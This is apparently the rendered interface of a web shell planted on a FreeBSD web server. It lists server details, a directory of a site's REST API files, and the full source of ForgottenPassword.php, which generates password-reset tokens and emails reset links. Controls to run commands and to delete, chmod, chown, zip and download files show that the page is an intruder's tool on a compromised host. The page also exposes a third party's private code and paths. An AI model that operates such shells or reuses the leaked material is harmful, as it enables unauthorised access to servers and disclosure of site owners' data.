TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
1
root
app
Rest
Users
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/1/root/app/Rest/Users/ForgottenPassword.php
<?php /** * Copyright (c) Jan Pospisil (http://www.jan-pospisil.cz) */ namespace Rest\Users; use RestServer\Exceptions\BadRequestException; use RestServer\Exceptions\DataException; use RestServer\Exceptions\NotFoundException; use RestServer\IPresenter; use RestServer\IParametrs; use RestServer\Response; use RestServer\Exceptions\MissingRequiredParameterException; use Nette\Utils\Validators; use RestServer\Exceptions\InvalidParameterException; use Nette\Database\Context; use Application\SendmailControl; use Nette\Utils\Strings; use Nette\Utils\Random; use Application\LinkBuilder; use Application\Application; /** * Send email with link to reset users password. * @author Jan Pospisil * @param ( * name = id, * type = string, * required = 1 * ) * @param ( * required = 1, * name = email, * type = string, * ) * @param ( * name = lang, * type = char(2)), * ) */ class ForgottenPassword extends \Nette\Object implements IPresenter { private $connection; private $sendmailControl; private $linkBuilder; public function __construct(Context $context, SendmailControl $sendmailControl, LinkBuilder $linkBuilder){ $this->connection = $context; $this->sendmailControl = $sendmailControl; $this->linkBuilder = $linkBuilder; } /** * * @param IParametrs $parameters * @param Response $response * @throws InvalidParameterException * @throws MissingRequiredParameterException * @throws NotFoundException */ public function run(IParametrs $parameters, Response $response) { $id = $parameters->path('id'); $email = $parameters->post('email'); $lang = $parameters->post('lang') ? $parameters->get('lang') : Application::DEFAULT_LANG; if(!$id) throw new MissingRequiredParameterException('ID is required.'); if(!$email) throw new MissingRequiredParameterException('Email is required.'); $userRow = $this->connection->table('user')->get($id); if(!$userRow) throw new NotFoundException('User not found.'); if(!Validators::isEmail($email)) throw new InvalidParameterException('Email is not valid.'); $emailRow = $this->connection->table('user_email')->where('address', $email)->fetch(); if(!$emailRow) throw new NotFoundException('Email does not exist.'); if(!$emailRow->confirmed) throw new DataException('Email is not confirmed.'); if($emailRow->user_id != $id) throw new BadRequestException('Email does not match with user id.'); // lets send request $token = Random::generate(50); $expire = new \DateTime(); $expire->modify(\Model\User\User::RESET_PASSWORD_EXPIRATION); $this->connection->table('reset_password_request')->insert(array( 'user_id' => $emailRow->user_id, 'token' => $token, 'expiration' => $expire )); $link = $this->linkBuilder->link(LinkBuilder::RESET_PASSWORD, array( 'token' => $token, 'email' => $emailRow->address, 'user_id' => $emailRow->user_id, 'expire' => $expire->format('Y-m-d H:i:s') )); $this->sendmailControl->send(SendmailControl::FORGOT_PASSWORD, $emailRow->address, array('%LINK%' => $link), $lang); $response->data = null; } }
Crotin
Name
Size
Permissions
Modified
User/Group
User.php
1499
0644
2016-01-14 22:08:37
Unknown/Unknown
ForgottenPassword.php
3131
0644
2016-01-11 22:55:22
Unknown/Unknown
ResetPassword.php
3062
0644
2016-01-11 22:55:21
Unknown/Unknown
Account
-
0755
2016-01-11 22:58:16
Unknown/Unknown
Users.php
1491
0644
2016-01-15 10:19:48
Unknown/Unknown
PostFacebook.php
2369
0644
2016-02-27 10:21:45
Unknown/Unknown
CreateRequest.php
2881
0644
2016-01-11 22:55:22
Unknown/Unknown
FindUsername.php
1344
0644
2016-01-11 22:55:22
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin